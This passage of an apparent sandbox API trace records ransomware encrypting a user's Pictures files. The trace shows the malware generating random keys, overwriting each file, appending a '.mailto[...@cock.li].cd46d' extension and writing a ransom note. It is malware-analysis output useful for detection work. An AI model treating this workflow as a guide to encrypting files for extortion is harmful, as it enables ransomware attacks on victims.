HALPmcxz\\Pictures\\8pPro7.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0053.597] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb96f85c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00bc0 [0053.657] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00bc0) returned 1 [0053.657] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a08d8) returned 1 [0053.657] NtQueryInformationFile (in: FileHandle=0xbac, IoStatusBlock=0xb96f868, FileInformation=0xb96f840, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb96f868, FileInformation=0xb96f840) returned 0x0 [0053.657] NtSetInformationFile (FileHandle=0xbac, IoStatusBlock=0xb96f868, FileInformation=0xb96f840, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.661] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ca80) returned 1 [0053.661] FlushFileBuffers (hFile=0xbac) returned 1 [0053.663] CloseHandle (hObject=0xbac) returned 1 [0053.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400598 [0053.665] wcscpy (in: _Dest=0x400598, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.665] wcscat (in: _Dest=0x400598, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0xffffffff [0053.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0053.668] WriteFile (in: hFile=0x1fc, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xb96f864, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xb96f864*=0x6fd, lpOverlapped=0x0) returned 1 [0053.963] CloseHandle (hObject=0x1fc) returned 1 [0053.963] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400598) returned 1 [0053.963] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421348) returned 1 Thread: id = 664 os_tid = 0xb68 [0050.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eps_5m2urz0ffrss28ol.jpg")) returned 0x20 [0050.826] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg", dwFileAttributes=0x20) returned 1 [0050.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eps_5m2urz0ffrss28ol.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbb0 [0050.827] GetFileSizeEx (in: hFile=0xbb0, lpFileSize=0x10aefe04 | out: lpFileSize=0x10aefe04*=47331) returned 1 [0050.827] SetFilePointerEx (in: hFile=0xbb0, liDistanceToMove=0xb8df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.827] ReadFile (in: hFile=0xbb0, lpBuffer=0x10aefd88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10aefd84, lpOverlapped=0x0 | out: lpBuffer=0x10aefd88*, lpNumberOfBytesRead=0x10aefd84*=0x4, lpOverlapped=0x0) returned 1 [0050.828] SetFilePointerEx (in: hFile=0xbb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0050.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0050.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607e0 [0050.828] NtQuerySystemTime (in: CurrentTime=0x10aefd64 | out: CurrentTime=0x10aefd64*=132174898148016000) returned 0x0 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x2c8755e5 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x5b340206 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x3a845bfa [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x5cd76387 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x51b472cb [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x6fcc3084 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x21ee16e [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x27ee90e1 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x6ad8e6fc [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x5337dfdb [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x3602accc [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x4e872ca7 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x7654e7a [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x2474a7f5 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x3d87af85 [0050.828] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x12f6f6e9 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x777437d2 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x7018cd9c [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x3355f772 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x654fa639 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x17ce37c [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x8990929 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x13ae62a3 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x2edc575c [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x6a25fd90 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x19291d9 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x7585f318 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x475cae0e [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x63d85f91 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x7102aed8 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x52552f46 [0050.829] RtlRandomEx (in: Seed=0x10aefd70 | out: Seed=0x10aefd70) returned 0x9ef6125 [0050.841] ReadFile (in: hFile=0xbb0, lpBuffer=0x12cd3940, nNumberOfBytesToRead=0xb8e3, lpNumberOfBytesRead=0x10aefd60, lpOverlapped=0x0 | out: lpBuffer=0x12cd3940*, lpNumberOfBytesRead=0x10aefd60*=0xb8e3, lpOverlapped=0x0) returned 1 [0050.842] SetFilePointerEx (in: hFile=0xbb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.842] WriteFile (in: hFile=0xbb0, lpBuffer=0x12ce0148*, nNumberOfBytesToWrite=0xb8e3, lpNumberOfBytesWritten=0x10aefd5c, lpOverlapped=0x0 | out: lpBuffer=0x12ce0148*, lpNumberOfBytesWritten=0x10aefd5c*=0xb8e3, lpOverlapped=0x0) returned 1 [0053.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf048 [0053.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0a0 [0053.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0a0) returned 1 [0053.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ce0148) returned 1 [0053.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cd3940) returned 1 [0053.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43af60) returned 1 [0053.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0053.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x44bc10 [0053.403] SetFilePointerEx (in: hFile=0xbb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.403] WriteFile (in: hFile=0xbb0, lpBuffer=0x9721b80*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x10aefdc4, lpOverlapped=0x0 | out: lpBuffer=0x9721b80*, lpNumberOfBytesWritten=0x10aefdc4*=0x121, lpOverlapped=0x0) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721b80) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0a0) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf048) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4607b8) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460808) returned 1 [0053.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460830) returned 1 [0053.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00c90 [0053.598] wcscpy (in: _Dest=0x5e00c90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg" [0053.598] wcscat (in: _Dest=0x5e00c90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0053.598] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10aefd7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EpS_5M2Urz0ffrss28OL.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x95d0d90 [0053.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0d90) returned 1 [0053.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0b00) returned 1 [0053.814] NtQueryInformationFile (in: FileHandle=0xbb0, IoStatusBlock=0x10aefd88, FileInformation=0x10aefd60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10aefd88, FileInformation=0x10aefd60) returned 0x0 [0053.814] NtSetInformationFile (FileHandle=0xbb0, IoStatusBlock=0x10aefd88, FileInformation=0x10aefd60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.815] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00c90) returned 1 [0053.815] FlushFileBuffers (hFile=0xbb0) returned 1 [0053.824] CloseHandle (hObject=0xbb0) returned 1 [0053.825] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08e18 [0053.825] wcscpy (in: _Dest=0x12e08e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.825] wcscat (in: _Dest=0x12e08e18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.825] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08e18) returned 1 [0054.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447b18) returned 1 Thread: id = 665 os_tid = 0xb6c [0050.843] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fntb-g.jpg")) returned 0x20 [0050.843] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg", dwFileAttributes=0x20) returned 1 [0050.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fntb-g.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbb4 [0050.843] GetFileSizeEx (in: hFile=0xbb4, lpFileSize=0x107af9b8 | out: lpFileSize=0x107af9b8*=67700) returned 1 [0050.843] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x10870, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.843] ReadFile (in: hFile=0xbb4, lpBuffer=0x107af93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x107af938, lpOverlapped=0x0 | out: lpBuffer=0x107af93c*, lpNumberOfBytesRead=0x107af938*=0x4, lpOverlapped=0x0) returned 1 [0050.844] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0050.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607e0 [0050.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460858 [0050.845] NtQuerySystemTime (in: CurrentTime=0x107af918 | out: CurrentTime=0x107af918*=132174898148328000) returned 0x0 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x2348a333 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x543d5289 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x7a7edbfa [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x7af4e1ba [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x174d4b48 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x21063561 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x7a0aaf5a [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x2ca446e [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x7f2d4388 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x622fc522 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x134a6389 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x99fbc3 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x4fe5218d [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x38b08187 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x3c94e803 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x75497d5d [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x4c22a973 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x414fed72 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x13b03216 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x63f499b8 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x7e6d6c26 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x40d52f29 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x27ce554 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x6f2ca5cc [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x23a4966c [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x16fd5897 [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x318a32fb [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x7f9fbb2d [0050.845] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x6490f1bd [0050.846] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x7ae07b2e [0050.846] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x61be546b [0050.846] RtlRandomEx (in: Seed=0x107af924 | out: Seed=0x107af924) returned 0x6c4d688 [0050.857] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.857] ReadFile (in: hFile=0xbb4, lpBuffer=0x12cec950, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x107af8f8, lpOverlapped=0x0 | out: lpBuffer=0x12cec950*, lpNumberOfBytesRead=0x107af8f8*=0xc800, lpOverlapped=0x0) returned 1 [0050.857] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bc58 [0050.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed50d0 [0050.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0050.857] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460710) returned 1 [0050.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12cf9158 [0050.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0050.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460858 [0050.861] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460858) returned 1 [0050.861] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed50d0) returned 1 [0050.861] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc58) returned 1 [0050.861] WriteFile (in: hFile=0xbb4, lpBuffer=0x12cf9158*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x107af8f8, lpOverlapped=0x0 | out: lpBuffer=0x12cf9158*, lpNumberOfBytesWritten=0x107af8f8*=0xc800, lpOverlapped=0x0) returned 1 [0053.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9158) returned 1 [0053.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cec950) returned 1 [0053.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ce3d0 [0053.411] SetFilePointerEx (in: hFile=0xbb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.411] WriteFile (in: hFile=0xbb4, lpBuffer=0x9721cb0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x107af978, lpOverlapped=0x0 | out: lpBuffer=0x9721cb0*, lpNumberOfBytesWritten=0x107af978*=0x105, lpOverlapped=0x0) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721cb0) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce400) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0c8) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce3d0) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460710) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4607e0) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460880) returned 1 [0053.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4608a8) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45cb38 [0053.600] wcscpy (in: _Dest=0x45cb38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg" [0053.600] wcscat (in: _Dest=0x45cb38, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0053.600] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x107af930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FNtB-G.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00d60 [0053.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0053.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0d28) returned 1 [0053.788] NtQueryInformationFile (in: FileHandle=0xbb4, IoStatusBlock=0x107af93c, FileInformation=0x107af914, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x107af93c, FileInformation=0x107af914) returned 0x0 [0053.788] NtSetInformationFile (FileHandle=0xbb4, IoStatusBlock=0x107af93c, FileInformation=0x107af914, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.790] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45cb38) returned 1 [0053.791] FlushFileBuffers (hFile=0xbb4) returned 1 [0053.792] CloseHandle (hObject=0xbb4) returned 1 [0053.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400618 [0053.793] wcscpy (in: _Dest=0x400618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.793] wcscat (in: _Dest=0x400618, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.793] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0054.041] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 [0054.041] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f78) returned 1 Thread: id = 666 os_tid = 0xb70 [0050.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d528 [0050.868] wcscpy (in: _Dest=0x48d528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI" [0050.868] wcscat (in: _Dest=0x48d528, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\" [0050.868] wcscat (in: _Dest=0x48d528, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\*" [0050.868] RtlAllocateHeap (HeapHandle=0x3f0000, 